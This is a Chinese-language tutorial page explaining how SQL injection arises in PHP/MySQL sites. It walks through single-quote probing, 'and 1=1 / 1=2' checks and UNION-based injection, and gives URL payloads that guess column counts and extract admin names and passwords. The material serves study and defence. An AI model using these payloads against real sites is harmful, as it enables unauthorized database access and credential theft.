热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

解析PHP+MYSQL注入的发生

当articleid变量取值为123时,我们假设一下在服务器中会有怎样的代码运行?

当articleid 变量取值为123 时,我们假设一下在服务器中会有怎样的代码运行?

1. SELECT * /* Select 函数读取信息*/

2. FROM infotable /* 从products 数据表中*/

3. WHERE id='123';/* false condition 满足条件时*/

/*XXXX*/是注释符号,当程序运行时,/**/和中间的部分计算机会自动忽略。

实际系统执行的代码是这样的:

1. select * from infotable where id = '123';

在这里,id 的取值是通过url 取值得来的“123”,那么如果我这样呢:

info.php?articleid=123'

后面多了一个单引号,那么比较一下系统原本执行的语句有什么变化:

1. select * from infotable where id = 123;

2. select * from infotable where id = 123';

最后多了一个引号,语法错误。

注:计算机编程得不到想要的结果,错误分两种,一种是语法错误,一种是逻辑错误。后面认真阅读你会慢慢明白区别开的,这也就是为什么判断是否为注入点的第一步要在网址后面加单引号的原因了(加单引号出错不能确定网址为注入点,只是判断的一个步骤而已),于是后面的1=1 和1=2 的目的也就清楚了。

1. select * from infotable where id = 123;

2. select * from infotable where id = 123 and 1 = 1;//事实上1 就是1,所以应该

返回正常页面

3. select * from infotable where id = 123 and 1 = 2;//事实上,计算机中1 永远也不等于2,发生逻辑错误,所以返回错误页面。手工注入通常会使用联合查询函数union 下面讲一下union 的用法。

union 注入的第一步通常是猜字段数。假设注入点是新闻页面,那么页面中执行的SQL 语句就是:

1. select title,date,author,news,comm from news where id = 12;

当你进行union 注入的时候,union 前面的语句和union 后面的语句,都是一个完整的SQL

语句,是可以单独执行的语句

但是,必须保证前后的字段数相同,例如上面这个语句

1. select title,date,author,news,comm from news where id = 12;

2. select title,date,author,news,comm from news where id = 12 union select

name,password,3,4,5 from admin;

3. //news 是新闻表段,admin 是管理员信息表段

4. //管理员信息表段明显没有union 前面news 表段里面包含的字段数多所以使用数字3 到5 替代,数字无固定格式,可以使1 2 和3,也可以是111111 和4435435或者干脆用null 空来代替。

所以,上面的注入语句在实际中就是这么构造:

1. info.php?id=12+union+select+name,password,3,4,5+from+admin

2. //SQL 注入中,加号用来代表空格的意思,因为有些浏览器会自动将空格转换成%20,

如果union 前面是5 个,而union 后面不是5 个,则会发生逻辑错误,显示错误页面。

由于程序员编写的程序我们并不知道他在数据库中设置了几个字段,所以通常我们都是先进行字段数的猜测,也就是:

1. info.php?id=12+union+select+1

2. info.php?id=12+union+select+1,2

3. info.php?id=12+union+select+1,2,3

4. info.php?id=12+union+select+1,2,3,4

5. info.php?id=12+union+select+1,2,3,4,5

6. //你也可以用order by 来猜,用法可以自己搜一下

一直这样猜到正确页面出来,没有了逻辑错误,也就表示字段数一致了,然后……后面……

这里仅仅提供思路。


推荐阅读
  • Vulnhub DC3 实战记录与分析
    本文记录了在 Vulnhub DC3 靶机上的渗透测试过程,包括漏洞利用、内核提权等关键步骤,并总结了实战经验和教训。 ... [详细]
  • 软件测试行业深度解析:迈向高薪的必经之路
    本文深入探讨了软件测试行业的发展现状及未来趋势,旨在帮助有志于在该领域取得高薪的技术人员明确职业方向和发展路径。 ... [详细]
  • 我的读书清单(持续更新)201705311.《一千零一夜》2006(四五年级)2.《中华上下五千年》2008(初一)3.《鲁滨孙漂流记》2008(初二)4.《钢铁是怎样炼成的》20 ... [详细]
  • 从CodeIgniter中提取图像处理组件
    本指南旨在帮助开发者在未使用CodeIgniter框架的情况下,如何独立使用其强大的图像处理功能,包括图像尺寸调整、创建缩略图、裁剪、旋转及添加水印等。 ... [详细]
  • 本文详细探讨了在Web开发中常见的UTF-8编码问题及其解决方案,包括HTML页面、PHP脚本、MySQL数据库以及JavaScript和Flash应用中的乱码问题。 ... [详细]
  • PHP面试题精选及答案解析
    本文精选了新浪PHP笔试题及最新的PHP面试题,并提供了详细的答案解析,帮助求职者更好地准备PHP相关的面试。 ... [详细]
  • 本文介绍如何通过参数化查询来防止SQL注入攻击,确保数据库的安全性。示例代码展示了在C#中使用参数化查询添加学生信息的方法。 ... [详细]
  • 本文总结了设计、开发和部署Web应用程序时应遵循的一些最佳实践,这些实践结合了个人经验和权威资料,旨在帮助开发者提高Web应用的安全性。 ... [详细]
  • 本文详细探讨了如何在PHP中有效防止SQL注入攻击,特别是在使用MySQL数据库时。文章通过具体示例和专业建议,帮助开发者理解和应用最佳实践。 ... [详细]
  • ABP框架是ASP.NET Boilerplate的简称,它不仅是一个开源且文档丰富的应用程序框架,还提供了一套基于领域驱动设计(DDD)的最佳实践架构模型。本文将详细介绍ABP框架的特点、项目结构及其在Web API优先架构中的应用。 ... [详细]
  • Cookie学习小结
    Cookie学习小结 ... [详细]
  • 使用虚拟机配置服务器
    本文详细介绍了如何使用虚拟机配置服务器,包括购买云服务器的操作步骤、系统默认配置以及相关注意事项。通过这些步骤,您可以高效地配置和管理您的服务器。 ... [详细]
  • 在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数,注入恶意 SQL 代码,从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]
  • 本文深入解析了 Kubernetes 控制平面(特别是 API 服务器)与集群节点之间的通信机制,并对其通信路径进行了详细分类。旨在帮助用户更好地理解和定制其安装配置,从而增强网络安全性,确保集群的稳定运行。 ... [详细]
  • 如何在方法上应用@ConfigurationProperties注解进行属性绑定 ... [详细]
author-avatar
美猴qing_243
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有